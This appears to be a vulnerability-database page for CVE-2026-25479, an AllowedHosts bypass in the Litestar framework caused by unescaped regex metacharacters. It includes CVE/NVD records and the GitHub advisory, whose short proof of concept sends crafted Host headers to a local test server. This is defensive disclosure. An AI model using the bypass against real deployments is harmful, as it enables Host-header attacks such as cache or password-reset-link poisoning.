Vulnerability-Lookup

CVE-2026-25479 (GCVE-0-2026-25479)

Vulnerability from cvelistv5 – Published: 2026-02-09 18:48 – Updated: 2026-02-10 16:01

Title

Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns

Summary

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-185 - Incorrect Regular Expression

Assigner

GitHub_M

References

URL

Tags

	https://github.com/litestar-org/litestar/security…	x_refsource_CONFIRM
	https://github.com/litestar-org/litestar/commit/0…	x_refsource_MISC
	https://docs.litestar.dev/2/release-notes/changel…	x_refsource_MISC
	https://github.com/litestar-org/litestar/releases…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	litestar-org	litestar	Affected: < 2.20.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-25479",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-10T15:39:53.590127Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-10T16:01:11.941Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "litestar",
          "vendor": "litestar-org",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.20.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-185",
              "description": "CWE-185: Incorrect Regular Expression",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-09T18:48:19.971Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4"
        },
        {
          "name": "https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace"
        },
        {
          "name": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
        },
        {
          "name": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
        }
      ],
      "source": {
        "advisory": "GHSA-93ph-p7v4-hwh4",
        "discovery": "UNKNOWN"
      },
      "title": "Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25479",
    "datePublished": "2026-02-09T18:48:19.971Z",
    "dateReserved": "2026-02-02T16:31:35.821Z",
    "dateUpdated": "2026-02-10T16:01:11.941Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-25479\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-09T20:15:57.177\",\"lastModified\":\"2026-02-17T15:14:04.910\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.\"},{\"lang\":\"es\",\"value\":\"Litestar es un framework de Interfaz de Pasarela de Servidor As\u00edncrono (ASGI). Antes de la 2.20.0, en litestar.middleware.allowed_hosts, las entradas de la lista de permitidos se compilan en patrones de expresiones regulares de una manera que permite que los metacaracteres de expresiones regulares conserven un significado especial (por ejemplo, . coincide con cualquier car\u00e1cter). Esto permite una omisi\u00f3n donde un atacante proporciona un host que coincide con la expresi\u00f3n regular pero no es el nombre de host literal previsto. Esta vulnerabilidad se corrige en la 2.20.0.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":2.5}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-185\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:litestar:litestar:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"2.20.0\",\"matchCriteriaId\":\"67E26161-0CDE-4B8F-A065-04A19BC4CDCB\"}]}]}],\"references\":[{\"url\":\"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/litestar-org/litestar/releases/tag/v2.20.0\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-25479\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-02-10T15:39:53.590127Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-02-10T15:39:54.271Z\"}}], \"cna\": {\"title\": \"Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns\", \"source\": {\"advisory\": \"GHSA-93ph-p7v4-hwh4\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"litestar-org\", \"product\": \"litestar\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 2.20.0\"}]}], \"references\": [{\"url\": \"https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4\", \"name\": \"https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace\", \"name\": \"https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0\", \"name\": \"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/litestar-org/litestar/releases/tag/v2.20.0\", \"name\": \"https://github.com/litestar-org/litestar/releases/tag/v2.20.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-185\", \"description\": \"CWE-185: Incorrect Regular Expression\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-02-09T18:48:19.971Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-25479\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-02-10T16:01:11.941Z\", \"dateReserved\": \"2026-02-02T16:31:35.821Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-02-09T18:48:19.971Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-93PH-P7V4-HWH4

Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38

Summary

Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

Details

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.19.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:19:00Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom\n\n### Details\nIn litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.\n\n### PoC\nServer (poc_allowed_hosts_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.middleware.allowed_hosts import AllowedHostsConfig\n\n@get(\"/\")\nasync def index() -\u003e str:\n    return \"ok\"\n\nconfig = AllowedHostsConfig(allowed_hosts=[\"example.com\"])\napp = Litestar([index], allowed_hosts_config=config)\n```\n\n`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`\n\nClient (poc_allowed_hosts_client.py)\n\n```\nimport http.client\n\ndef req(host_header: str) -\u003e tuple[int, bytes]:\n    c = http.client.HTTPConnection(\"127.0.0.1\", 8001, timeout=3)\n    c.request(\"GET\", \"/\", headers={\"Host\": host_header})\n    r = c.getresponse()\n    body = r.read()\n    c.close()\n    return r.status, body\n\nprint(\"evil.com:\", *req(\"evil.com\"))\nprint(\"exampleXcom:\", *req(\"exampleXcom\"))\n```\n\nExpected (vulnerable behavior):\nHost: evil.com \u2192 400 invalid host\n\nHost: exampleXcom \u2192 200 ok (bypass)\n\n### Impact\nType: security control bypass (host allowlist)\nWho is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.",
  "id": "GHSA-93ph-p7v4-hwh4",
  "modified": "2026-02-09T22:38:10Z",
  "published": "2026-02-09T17:19:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace"
    },
    {
      "type": "WEB",
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar\u0027s AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns"
}

FKIE_CVE-2026-25479

Vulnerability from fkie_nvd - Published: 2026-02-09 20:15 - Updated: 2026-02-17 15:14

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0	Release Notes
security-advisories@github.com	https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace	Patch
security-advisories@github.com	https://github.com/litestar-org/litestar/releases/tag/v2.20.0	Release Notes
security-advisories@github.com	https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	litestar	litestar	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:litestar:litestar:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "67E26161-0CDE-4B8F-A065-04A19BC4CDCB",
              "versionEndExcluding": "2.20.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0."
    },
    {
      "lang": "es",
      "value": "Litestar es un framework de Interfaz de Pasarela de Servidor As\u00edncrono (ASGI). Antes de la 2.20.0, en litestar.middleware.allowed_hosts, las entradas de la lista de permitidos se compilan en patrones de expresiones regulares de una manera que permite que los metacaracteres de expresiones regulares conserven un significado especial (por ejemplo, . coincide con cualquier car\u00e1cter). Esto permite una omisi\u00f3n donde un atacante proporciona un host que coincide con la expresi\u00f3n regular pero no es el nombre de host literal previsto. Esta vulnerabilidad se corrige en la 2.20.0."
    }
  ],
  "id": "CVE-2026-25479",
  "lastModified": "2026-02-17T15:14:04.910",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-09T20:15:57.177",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-185"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25479 (GCVE-0-2026-25479)

GHSA-93PH-P7V4-HWH4

Summary

Details

PoC

Impact

FKIE_CVE-2026-25479

Tags

Sightings

Nomenclature